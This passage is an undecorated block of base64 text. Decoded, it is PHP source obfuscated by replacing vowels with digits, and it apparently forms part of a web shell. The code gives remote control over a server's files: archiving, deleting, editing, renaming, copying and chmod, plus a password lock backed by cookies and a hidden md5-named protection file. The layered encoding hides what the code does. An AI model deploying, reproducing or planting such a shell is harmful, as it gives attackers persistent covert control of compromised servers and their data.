JZjJyKCQxID0gMDsgJDEgPCBjMjNudCgkejRwXzVycjJyKTsgJDErKykgNWNoMiAiPGYybnQgYzJsMnI9XCJyNWRcIj4iLiR6NHBfNXJyMnJbJDFdLiI8L2YybnQ+PGJyPiI7CgkJCX0KCQkJNWNoMiAiPGJyPiZuYnNwOzwvYzVudDVyPjwvdGQ+PC90cj4iOwoJCX0KCX0KCTVsczV7CgkJNWNoMiAnPHRyPjx0ZCBiZ2MybDJyPSIjQ0NDQ0NDIj4nOwoJCTRmKCE0c3M1dCgkX1BPU1RbJ3o0cCddKSl7CgkJCSRfX2Q0ciA9IDFycjF5KCk7CgkJCSRfX2Y0bDUgPSAxcnIxeSgpOwoJCQlmMnI1MWNoKGdsMmIoIioiKSAxcyAkZil7CgkJCQk0Zig0c19kNHIoJGYpKSAkX19kNHJbXSA9ICRmOwoJCQkJNWxzNSAkX19mNGw1W10gPSAkZjsKCQkJfQoJCQk1Y2gyICc8YnI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49IicuJHNoNWxsLiciIG4xbTU9ImNoNWNrYjJ4ZjJybSIgbTV0aDJkPSJQT1NUIj48NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJkNHIiIHYxbDM1PSInLiRkNHIuJyI+PDRucDN0IHR5cDU9Img0ZGQ1biIgbjFtNT0iMWN0NDJuIiB2MWwzNT0iejRwIj5BcmNoNHY1IG4xbTU6PGJyPjw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSIxcmNoNHY1bjFtNSI+PGJyPjw0bnAzdCB0eXA1PSJjaDVja2IyeCIgbjFtNT0iY2g1Y2s2IiAybmNsNGNrPSJjaDVjazFsbGQ0cignLmMyM250KCRfX2Q0cikuJykiPkFsbCBENHImbmJzcDsmbmJzcDs8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9ImNoNWNrYSIgMm5jbDRjaz0iY2g1Y2sxbGxmNGw1KCcuYzIzbnQoJF9fZjRsNSkuJykiPkFsbCBGNGw1Jm5ic3A7Jm5ic3A7PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJjaDVja28iIDJuY2w0Y2s9ImNoNWNrMWxsKCcuYzIzbnQoJF9fZDRyKS4nLCcuYzIzbnQoJF9fZjRsNSkuJykiPkFsbCZuYnNwOyZuYnNwOzw0bnAzdCB0eXA1PSJjaDVja2IyeCIgbjFtNT0iY2g1Y2t1IiAybmNsNGNrPSI0bnY1cnQxbGwoJy5jMjNudCgkX19kNHIpLicsJy5jMjNudCgkX19mNGw1KS4nKSI+SW52NXJ0IHM1bDVjdDQybjxicj48YnI+PHQxYmw1IDRkPSJjaDVja2IyeCI+JzsKCQkJZjJyKCQxID0gMDsgJDEgPCBjMjNudCgkX19kNHIpOyAkMSsrKSA1Y2gyICc8dHI+PHRkIHc0ZHRoPSI2ZSI+PDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSJkNHJfXycuJDEuJyIgdjFsMzU9IicuJF9fZDRyWyQxXS4nIiAybmNsNGNrPSJjaDVjazJuNSgnLmMyM250KCRfX2Q0cikuJywnLmMyM250KCRfX2Y0bDUpLicpIj48L3RkPjx0ZCB3NGR0aD0iNmUiPjw0bWcgc3JjPSInLiRzaDVsbC4nPzRtZz1kNHIiIGIycmQ1cj0iMCI+PC90ZD48dGQ+Jy4kX19kNHJbJDFdLic8L3RkPjwvdHI+JzsKCQkJZjJyKCQxID0gMDsgJDEgPCBjMjNudCgkX19mNGw1KTsgJDErKykgNWNoMiAnPHRyPjx0ZCB3NGR0aD0iNmUiPjw0bnAzdCB0eXA1PSJjaDVja2IyeCIgbjFtNT0iZjRsNV9fJy4kMS4nIiB2MWwzNT0iJy4kX19mNGw1WyQxXS4nIiAybmNsNGNrPSJjaDVjazJuNSgnLmMyM250KCRfX2Q0cikuJywnLmMyM250KCRfX2Y0bDUpLicpIj48L3RkPjx0ZCB3NGR0aD0iNmUiPjw0bWcgc3JjPSInLiRzaDVsbC4nPzRtZz1mNGw1IiBiMnJkNXI9IjAiPjwvdGQ+PHRkPicuJF9fZjRsNVskMV0uJzwvdGQ+PC90cj4nOwoJCQk1Y2gyICc8L3QxYmw1Pjw0bnAzdCB0eXA1PSJzM2JtNHQiIHYxbDM1PSJDcjUxdDUiIG4xbTU9Ino0cCI+PC9mMnJtPic7CgkJfQoJCTVsczV7CgkJCSRfX2Q0ciA9IDFycjF5KCk7CgkJCSRfX2Y0bDUgPSAxcnIxeSgpOwoJCQlmMnI1MWNoKCRfUE9TVCAxcyAkaz0+JHYpewoJCQkJNGYoNXI1ZzQoImQ0cl9fIiwkaykpICRfX2Q0cltdID0gJHY7CgkJCQk1bHM1NGYoNXI1ZzQoImY0bDVfXyIsJGspKSAkX19mNGw1W10gPSAkdjsKCQkJfQoJCQlmMnIoJDEgPSAwOyAkMSA8IGMyM250KCRfX2Q0cik7ICQxKyspIFAxY2tENHIoJF9fZDRyWyQxXSk7CgkJCWYycigkMSA9IDA7ICQxIDwgYzIzbnQoJF9fZjRsNSk7ICQxKyspIDFkZEY0bDUoJF9fZjRsNVskMV0pOwoJCQkkZjRsNSA9IGc1bl9mNGw1bjFtNSgkX1BPU1RbJzFyY2g0djVuMW01J10uIi56NHAiKTsKCQkJJGZwID0gZjJwNW4oJGY0bDUsJ3grJyk7CgkJCWZ3cjR0NSgkZnAsZzVuX2Y0bDUoKSk7CgkJCWZjbDJzNSgkZnApOwoJCQk0ZigkejRwXzVycjJyWzBdICE9ICIiKXsKCQkJCTVjaDIgIjxmMm50IGMybDJyPVwiZ3I1NW5cIj5aNHAgMXJjaDR2NSAnIi4kZjRsNS4iJyBjcjUxdDVkIHc0dGggczJtNSA1cnIycnMhPC9mMm50Pjxicj4iOyAKCQkJCWYycigkMSA9IDA7ICQxIDwgYzIzbnQoJHo0cF81cnIycik7ICQxKyspIDVjaDIgIjxmMm50IGMybDJyPVwicjVkXCI+Ii4kejRwXzVycjJyWyQxXS4iPC9mMm50Pjxicj4iOwoJCQl9CgkJCTVsczUgNWNoMiAiPGYybnQgYzJsMnI9XCJncjU1blwiPlo0cCAxcmNoNHY1ICciLiRmNGw1LiInIGNyNTF0NWQgczNjYzVzc2YzbGwhPC9mMm50PiI7CgkJfQoJCTVjaDIgJzxicj4mbmJzcDs8L3RkPjwvdHI+PC90MWJsNT4nOwoJfQp9CgovL1QyIGQ1bDV0NSAxIGY0bDUKNGYoJGY0bDVkNWw1dDUgIT0gIiIpewoJNGYoITRzczV0KCRfUE9TVFsnYzJuZjRybSddKSl7CgkJNWNoMiAiPGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJjMm5mNHJtXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZjRsNWQ1bDV0NVwiIHYxbDM1PVwiIi4kZjRsNWQ1bDV0NS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiYzJuZjRybVwiIHYxbDM1PVwiMmtcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJmNGw1ZDVsNXQ1XCIgdjFsMzU9XCIiLiRmNGw1ZDVsNXQ1LiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PC9mMnJtPjxzY3I0cHQgbDFuZzMxZzU9XCJqMXYxc2NyNHB0XCI+CgkJdjFyIDFuc3c1ciA9IGMybmY0cm0gKFwiQXI1IHkyMyBzM3I1IHQyIGQ1bDV0NSBmNGw1ICciLiRmNGw1ZDVsNXQ1LiInP1wiKQoJCTRmKDFuc3c1cikgZDJjM201bnQuYzJuZjRybS5zM2JtNHQoKQoJCTwvc2NyNHB0PiI7Cgl9Cgk1bHM1ewoJCTVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj4iOwoJCTRmKDNubDRuaygkZjRsNWQ1bDV0NSkpIDVjaDIgIjxicj48ZjJudCBjMmwycj1cImdyNTVuXCI+RjRsNSAiLiRmNGw1ZDVsNXQ1LiIgZDVsNXQ1ZCBzM2NjNXNmM2xsITwvZjJudD4iOwoJCTVsczUgNWNoMiAiPGJyPjxmMm50IGMybDJyPVwicjVkXCI+RXJyMnIhPGJyPlRoNSBmNGw1ICIuJGY0bDVkNWw1dDUuIiBjMW5uMnQgYjUgZDVsNXQ1ZCE8YnI+TTF5YjUgeTIzIGQybid0IGgxdjUgcDVyc200c3M0Mm5zIGYyciBkNWw1dDUgdGg0cyBmNGw1ITwvZjJudD4iOwoJCTVjaDIgIjxicj4mbmJzcDs8L3RyPjwvdHI+IjsJCgl9Cn0KCi8vIFQyIGwyY2sgdGg0cyBmNGw1CjRmKCRfUE9TVFsnbDJjazFjdDQybiddID09ICJsMmNrIil7Cgk1Y2gyICc8dHI+PHRkIGJnYzJsMnI9IiNDQ0NDQ0MiPjxicj48YzVudDVyPic7Cgk0ZighNHNzNXQoJF9QT1NUWyczczVybjFtNSddKSAmJiAhNHNzNXQoJF9QT1NUWydwMXNzdzJyZCddKSkgNWNoMiAiPGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiIG4xbTU9XCJsMmNrXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwibDJjazFjdDQyblwiIHYxbDM1PVwibDJja1wiPlVzNXJuMW01OiA8NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiM3M1cm4xbTVcIj48YnI+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PVwicDFzc3cycmRcIiBuMW01PVwicDFzc3cycmRcIj48YnI+PDRucDN0IHR5cDU9XCJzM2JtNHRcIiB2MWwzNT1cIkwyY2tcIj48L2Yycm0+PGJyPiZuYnNwOzwvdGQ+PC90cj4iOwoJNWxzNXsKCQkkZjRsNV9jMm50ID0gIiI7CgkJZjJyKCQxID0gMDsgJDEgPCA2MDsgJDErKykgJGY0bDVfYzJudCAuPSBtZGkobWRpKHIxbmQoMCw2MDAwMDAwMCkpKS4nOjo6OicubWRpKG1kaShyMW5kKDYwMDAwMDA2LGEwMDAwMDApKSkuIlxuIjsKCQkkZjRsNV9jMm50IC49IG1kaShtZGkoc3RydDJsMnc1cigkX1BPU1RbJzNzNXJuMW01J10pKS4nMW5kcm8xOWEnKS4nOjo6OicubWRpKG1kaSgkX1BPU1RbJ3Axc3N3MnJkJ10pLicxbmRybzE5YScpLiJcbiI7CgkJJGY0bDVfYzJudCAuPSBtZGkobWRpKHIxbmQoMCw2MDAwMDAwMCkpKS4nOjo6OicubWRpKG1kaShyMW5kKDYwMDAwMDA2LGEwMDAwMDApKSk7CgkJY2hkNHIoJHNoNWxsX2wyYzF0NDJuKTsKCQkkZnAgPSBmMnA1bihtZGkoJzFuZHJvMTlhJyksIjErIik7CgkJNGYoJGZwKXsKCQkJNGYoZndyNHQ1KCRmcCwkZjRsNV9jMm50KSkgNWNoMiAnPGYybnQgYzJsMnI9ImdyNTVuIj5QcjJ0NWN0NDJuIEVOQUJMRUQhPC9mMm50Pic7CgkJCTVsczUgNWNoMiAnPGYybnQgYzJsMnI9InI1ZCI+QzIzbGQgbjJ0IGNyNTF0NSBwcjJ0NWN0NDJuIGY0bDUhPC9mMm50Pic7CgkJfQoJCTVsczUgNWNoMiAnPGYybnQgYzJsMnI9InI1ZCI+QzIzbGQgbjJ0IGNyNTF0NSBwcjJ0NWN0NDJuIGY0bDUhPC9mMm50Pic7CgkJZmNsMnM1KCRmcCk7CgkJNWNoMiAnPGJyPiZuYnNwOyc7Cgl9Cgk1Y2gyICc8L2M1bnQ1cj48L3RkPjwvdHI+JzsKfQoKLy8gVDIgbDJnMjN0IGZyMm0gc2g1bGwgNGYgcHIydDVjdDQybiA0cyA1bjFibDVkCjRmKCRfUE9TVFsnbDJnMjN0J10gPT0gNiAmJiA0c19mNGw1KCRzaDVsbF9sMmMxdDQybi4iLyIubWRpKCcxbmRybzE5YScpKSl7CglzNXRjMjJrNDUoInNoNWxsXzNzNXJuMW01IiwiIix0NG01KCkgLSBvZTAwLCIvIik7CglzNXRjMjJrNDUoInNoNWxsX3Axc3N3MnJkIiwiIix0NG01KCkgLSBvZTAwLCIvIik7CgloNTFkNXIoImwyYzF0NDJuOiAiLiRzaDVsbCk7Cn0KCi8vIFQyIDNubDJjayB0aDRzIGY0bDUKNGYoJF9QT1NUWydsMmNrMWN0NDJuJ10gPT0gIjNubDJjayIpewoJNWNoMiAnPHRyPjx0ZCBiZ2MybDJyPSIjQ0NDQ0NDIj48YnI+PGM1bnQ1cj4nOwoJY2hkNHIoJHNoNWxsX2wyYzF0NDJuKTsKCTRmKDNubDRuayhtZGkoJzFuZHJvMTlhJykpKSA1Y2gyICc8ZjJudCBjMmwycj0iZ3I1NW4iPlByMnQ1Y3Q0Mm4gRElTQUJMRUQhPC9mMm50Pic7Cgk1bHM1IDVjaDIgJzxmMm50IGMybDJyPSJyNWQiPkMyM2xkIG4ydCBkNWw1dDUgcHIydDVjdDQybiBmNGw1ITwvZjJudD4nOwoJNWNoMiAnPC9jNW50NXI+PGJyPiZuYnNwOzwvdGQ+PC90cj4nOwp9CgkKLy9UMiBkNWw1dDUgMSBkNHI1Y3QycnkKNGYoJGQ0cmQ1bDV0NSAhPSAiIil7Cgk0ZighNHNzNXQoJF9QT1NUWydjMm5mNHJtJ10pKXsKCQk1Y2gyICI8ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCIgbjFtNT1cImMybmY0cm1cIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJkNWw1dDVcIiB2MWwzNT1cIiIuJGQ0cmQ1bDV0NS4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiYzJuZjRybVwiIHYxbDM1PVwiMmtcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PC9mMnJtPgoJCTxzY3I0cHQgbDFuZzMxZzU9XCJqMXYxc2NyNHB0XCI+CgkJdjFyIDFuc3c1ciA9IGMybmY0cm0gKFwiQXI1IHkyMyBzM3I1IHQyIGQ1bDV0NSBkNHI1Y3QycnkgJyIuJGQ0cmQ1bDV0NS4iJz9cIikKCQk0ZigxbnN3NXIpIGQyYzNtNW50LmMybmY0cm0uczNibTR0KCkKCQk8L3NjcjRwdD4iOwoJfQoJNWxzNXsKCQk1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+IjsKCQlybWQ0cnIoJGQ0cmQ1bDV0NSk7CgkJNGYoITRzX2Q0cigkZDRyZDVsNXQ1KSkgNWNoMiAiPGJyPjxmMm50IGMybDJyPVwiZ3I1NW5cIj5ENHI1Y3QycnkgIi4kZDRyZDVsNXQ1LiIgZDVsNXQ1ZCBzM2NjNXNmM2xsITwvZjJudD4iOwoJCTVsczU0Zig0c19kNHIoJGQ0cmQ1bDV0NSkpIDVjaDIgIjxicj48ZjJudCBjMmwycj1cInI1ZFwiPkVycjJyITxicj5UaDUgZDRyNWN0MnJ5ICIuJGQ0cmQ1bDV0NS4iIGMxbm4ydCBiNSBkNWw1dDVkITxicj5NMXliNSB5MjMgZDJuJ3QgaDF2NSBwNXJzbTRzczQybnMgZjJyIGQ1bDV0NSB0aDRzIGQ0cjVjdDJyeSE8L2YybnQ+IjsKCQk1Y2gyICI8YnI+Jm5ic3A7PC90ZD48L3RyPiI7CQoJfQp9CgovL1QyIDVkNHQgMSBmNGw1CjRmKCRmNGw1NWQ0dCAhPSAiIil7Cgk0Zig0c3M1dCgkX1BPU1RbJzVkNHRmNGw1J10pKXsKCQk0Zigkc3RyNHBfMWxsKSAkdDJfNWQ0dCA9IHN0cjRwc2wxc2g1cygkX1BPU1RbJzVkNHQnXSk7CgkJNWxzNSAkdDJfNWQ0dCA9ICRfUE9TVFsnNWQ0dCddOwoJCSRmcCA9IGYycDVuKCRmNGw1NWQ0dCAsICJ3KyIpOwoJCWZ3cjR0NSgkZnAgLCAkdDJfNWQ0dCk7CgkJZmNsMnM1KCRmcCk7CgkJNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMm50IGMybDJyPVwiZ3I1NW5cIj5GNGw1IDVkNHQgczNjYzVzZjNsbCE8L2YybnQ+PGJyPiZuYnNwOzwvZjJudD48L2M1bnQ1cj48L3RkPjwvdHI+PC90MWJsNT48YnI+IjsKCX0KCTVsczU0ZighNHNzNXQoJF9QT1NUWyc1ZDR0ZjRsNSddKSl7CgkJNGYoNHNfd3I0dDFibDUoJGY0bDU1ZDR0KSl7CgkJCSRmNGw1XyA9IGh0bWxzcDVjNDFsY2gxcnMoajI0bihmNGw1KCRmNGw1NWQ0dCkpKTsKCQkJNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZjRsNTVkNHRcIiB2MWwzNT1cIiIuJGY0bDU1ZDR0LiJcIj48dDV4dDFyNTEgbjFtNT1cIjVkNHRcIiByMndzPVwibzBcIiBjMmxzPVwiNzdcIj4iLiRmNGw1Xy4iPC90NXh0MXI1MT48YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJFZDR0XCIgbjFtNT1cIjVkNHRmNGw1XCI+PC9mMnJtPjwvYzVudDVyPjxicj4mbmJzcDs8L3RyPjwvdHI+IjsKCQl9CgkJNWxzNSA1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGYybnQgYzJsMnI9XCJyNWRcIj5FcnIyciE8YnI+VGg0cyBmNGw1IGMxbm4ydCBiNSA1ZDR0NWQhPC9mMm50Pjxicj4mbmJzcDs8L2M1bnQ1cj48L3RkPjwvdHI+IjsKCX0KfQoKLy9UMiAycDVuIDEgZjRsNQo0ZigkZjRsNTJwNW4gIT0gIiIpewoJJGY0bDVfczIzcmM1ID0gaHRtbDVudDR0NDVzKGoyNG4oZjRsNSgkZjRsNTJwNW4pKSk7Cgk1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PHQ1eHQxcjUxIHIyd3M9XCJvMFwiIGMybHM9XCI3N1wiPiIuJGY0bDVfczIzcmM1LiI8L3Q1eHQxcjUxPjxicj4mbmJzcDs8L2M1bnQ1cj48L3RkPjwvdHI+IjsKfQoKLy9UMiByNW4xbTUgMSBmNGw1CjRmKCRmNGw1cjVuMW01ICE9ICIiKXsKCTRmKGY0bDVfNXg0c3RzKCRmNGw1cjVuMW01KSBBTkQgNHNfZjRsNSgkZjRsNXI1bjFtNSkgQU5EICE0c3M1dCgkX1BPU1RbJ3I1bjFtNSddKSkgNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPkluY2wzZDUgZjJybTF0IDRuIHRoNSBuNXcgbjFtNSAyZiB0aDRzIGY0bDUhPGJyPjxicj5PbGQgbjFtNTogIi4kZjRsNXI1bjFtNS4iPGJyPjxicj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZDRyXCIgdjFsMzU9XCIiLiRkNHIuIlwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImY0bDVyNW4xbTVcIiB2MWwzNT1cIiIuJGY0bDVyNW4xbTUuIlwiPk41dyBuMW01Ojxicj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiZjRsNXI1bjFtNWFcIj48YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJSNW4xbTVcIiBuMW01PVwicjVuMW01XCI+PC9mMnJtPjwvYzVudDVyPjxicj4mbmJzcDs8L3RkPjwvdHI+IjsKCTVsczU0Zig0c3M1dCgkX1BPU1RbJ3I1bjFtNSddKSBBTkQgZjRsNV81eDRzdHMoJGY0bDVyNW4xbTUpIEFORCA0c19mNGw1KCRmNGw1cjVuMW01KSBBTkQgITRzX2Y0bDUoJF9QT1NUWydmNGw1cjVuMW01YSddKSl7CgkJNGYocjVuMW01KCRmNGw1cjVuMW01ICwgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Y0bDVyNW4xbTVhJ10pKSkgNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMm50IGMybDJyPVwiZ3I1NW5cIj5GNGw1ICIuJGY0bDVyNW4xbTUuIiByNW4xbTVkICIuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Y0bDVyNW4xbTVhJ10pLiI8L2M1bnQ1cj48YnI+Jm5ic3A7PC90cj48L3RyPiI7CgkJNWxzNSA1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGYybnQgYzJsMnI9XCJyNWRcIj5FcnIyciE8YnI+VGg0cyBmNGw1IGMxbm4ydCBiNSByNW4xbTVkITwvZjJudD48YnI+Jm5ic3A7PC9jNW50NXI+PC90ZD48L3RyPiI7Cgl9Cn0KCi8vVDIgcjVuMW01IDEgZDRyNWN0MnJ5CjRmKCRkNHJyNW4xbTUgIT0gIiIpewoJNGYoNHNfZDRyKCRkNHJyNW4xbTUpIEFORCAhNHNzNXQoJF9QT1NUWydkcjVuMW01J10pKSA1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGYycm0gMWN0NDJuPVwiXCIgbTV0aDJkPVwiUE9TVFwiPjw0bnAzdCB0eXA1PVwiaDRkZDVuXCIgbjFtNT1cImQ0clwiIHYxbDM1PVwiIi4kZDRyLiJcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJyNW4xbTVcIiB2MWwzNT1cIiIuJGQ0cnI1bjFtNS4iXCI+T2xkIG4xbTU6ICIuJGQ0cnI1bjFtNS4iPGJyPk41dyBuMW01Ojxicj48NG5wM3QgdHlwNT1cInQ1eHRcIiBuMW01PVwiZDRycjVuMW01YVwiPjxicj48YnI+PDRucDN0IHR5cDU9XCJzM2JtNHRcIiB2MWwzNT1cIlI1bjFtNVwiIG4xbTU9XCJkcjVuMW01XCI+PC9mMnJtPjwvYzVudDVyPjxicj4mbmJzcDs8L3RkPjwvdHI+IjsKCTVsczU0Zig0c3M1dCgkX1BPU1RbJ2RyNW4xbTUnXSkgQU5EIDRzX2Q0cigkZDRycjVuMW01KSBBTkQgITRzX2Q0cigkX1BPU1RbJ2Q0cnI1bjFtNWEnXSkpewoJCTRmKHI1bjFtNSgkZDRycjVuMW01ICwgaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Q0cnI1bjFtNWEnXSkpKSA1Y2gyICI8dHI+PHRkIGJnYzJsMnI9XCIjQ0NDQ0NDXCI+PGJyPjxjNW50NXI+PGYybnQgYzJsMnI9XCJncjU1blwiPkQ0cjVjdDJyeSAiLiRkNHJyNW4xbTUuIiByNW4xbTVkICIuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Q0cnI1bjFtNWEnXSkuIjwvYzVudDVyPjxicj4mbmJzcDs8L3RyPjwvdHI+IjsKCQk1bHM1IDVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj48ZjJudCBjMmwycj1cInI1ZFwiPkVycjJyITxicj5UaDRzIGQ0cjVjdDJyeSBjMW5uMnQgYjUgcjVuMW01ZCE8L2YybnQ+PGJyPiZuYnNwOzwvYzVudDVyPjwvdGQ+PC90cj4iOwoJfQp9CgovLyBUMiBjMnB5IDEgZjRsNQo0ZigkZjRsNWMycHkgIT0gIiIpewoJNGYoNHNfZjRsNSgkZjRsNWMycHkpIEFORCAhNHNzNXQoJF9QT1NUWydmcDFzdDUnXSkpCTVjaDIgIjx0cj48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48YnI+PGM1bnQ1cj48ZjJybSAxY3Q0Mm49XCJcIiBtNXRoMmQ9XCJQT1NUXCI+TjV3IG4xbTU6PGJyPjw0bnAzdCB0eXA1PVwidDV4dFwiIG4xbTU9XCJmNGw1cDFzdDVcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiZjRsNWMycHlcIiB2MWwzNT1cIiIuJGY0bDVjMnB5LiJcIj48YnI+PGJyPjw0bnAzdCB0eXA1PVwiczNibTR0XCIgdjFsMzU9XCJDMnB5XCIgbjFtNT1cImZwMXN0NVwiPjwvZjJybT48L2M1bnQ1cj48YnI+Jm5ic3A7PC90ZD48L3RyPiI7Cgk1bHM1NGYoNHNzNXQoJF9QT1NUWydmcDFzdDUnXSkgQU5EIDRzX2Y0bDUoJGY0bDVjMnB5KSBBTkQgITRzX2Y0bDUoJF9QT1NUWydmNGw1cDFzdDUnXSkpewoJCTRmKGMycHkoJGY0bDVjMnB5LCBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsnZjRsNXAxc3Q1J10pKSkgNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMm50IGMybDJyPVwiZ3I1NW5cIj5GNGw1ICIuJGY0bDVjMnB5LiIgcDFzdDVkIDFzICIuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ2Y0bDVwMXN0NSddKS4iPC9jNW50NXI+PGJyPiZuYnNwOzwvdHI+PC90cj4iOwoJCTVsczUgNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxicj48YzVudDVyPjxmMm50IGMybDJyPVwicjVkXCI+RXJyMnIhPGJyPlRoNHMgZjRsNSBjMW5uMnQgYjUgcDFzdDVkITwvZjJudD48YnI+Jm5ic3A7PC9jNW50NXI+PC90ZD48L3RyPiI7Cgl9Cn0KCi8vIHQyIGNobTJkIDEgZjRsNQo0ZigkY2htMmQgIT0gIiIpewoJNGYoITRzczV0KCRfUE9TVFsnY2hfbTJkJ10pICYmICg0c19mNGw1KCRjaG0yZCkgfHwgNHNfZDRyKCRjaG0yZCkpKXsKCQkkYyA9IGc1dHA1cm1zKCRjaG0yZCk7CgkJNWNoMiAkY1thXTsKCQk0ZigkY1swXSA9PSAiciIpICQyd241cl9yNTFkID0gJ2NoNWNrNWQgPSAiIic7CgkJNGYoJGNbNl0gPT0gInciKSAkMnduNXJfd3I0dDUgPSAnY2g1Y2s1ZCA9ICIiJzsKCQk0ZigkY1thXSA9PSAieCIpICQyd241cl81eDVjM3Q1ID0gJ2NoNWNrNWQgPSAiIic7CgkJNGYoJGNbb10gPT0gInIiKSAkZ3IyM3BfcjUxZCA9ICdjaDVjazVkID0gIiInOwoJCTRmKCRjW3VdID09ICJ3IikgJGdyMjNwX3dyNHQ1ID0gJ2NoNWNrNWQgPSAiIic7CgkJNGYoJGNbaV0gPT0gIngiKSAkZ3IyM3BfNXg1YzN0NSA9ICdjaDVjazVkID0gIiInOwoJCTRmKCRjW2VdID09ICJyIikgJDJ0aDVyX3I1MWQgPSAnY2g1Y2s1ZCA9ICIiJzsKCQk0ZigkY1s3XSA9PSAidyIpICQydGg1cl93cjR0NSA9ICdjaDVjazVkID0gIiInOwoJCTRmKCRjWzhdID09ICJ4IikgJDJ0aDVyXzV4NWMzdDUgPSAnY2g1Y2s1ZCA9ICIiJzsKCQkkbjNtID0gczNic3RyKHNwcjRudGYoJyUyJywgZjRsNXA1cm1zKCRjaG0yZCkpLCAtdSk7CgkJNWNoMiAiPHRyPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+VXM1cjwvZjJudD48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+UjUxZDwvZjJudD48L3RkPjx0ZCBiZ2MybDJyPVwiI0NDQ0NDQ1wiPjxmMm50IGMybDJyPVwicjVkXCI+V3I0dDU8L2YybnQ+PC90ZD48dGQgYmdjMmwycj1cIiNDQ0NDQ0NcIj48ZjJudCBjMmwycj1cInI1ZFwiPkV4NWMzdDU8L2YybnQ+PC90ZD48L3RyPgoJCTxmMnJtIDFjdDQybj1cIlwiIG01dGgyZD1cIlBPU1RcIiBuMW01PVwiY2htMmRcIj48NG5wM3QgdHlwNT1cImg0ZGQ1blwiIG4xbTU9XCJkNHJcIiB2MWwzNT1cIiIuJGQ0ci4iXCI+PDRucDN0IHR5cDU9XCJoNGRkNW5cIiBuMW01PVwiY2htMmRcIiB2MWwzNT1cIiIuJGNobTJkLiJcIj4KCQk8NG5wM3QgbjFtNT1cImhfMnduNXJcIiB0eXA1PVwiaDRkZDVuXCIgdjFsMzU9XCIiLiRuM21bNl0uIlwiPgoJCTw0bnAzdCBuMW01PVwiaF9ncjIzcFwiIHR5cDU9XCJoN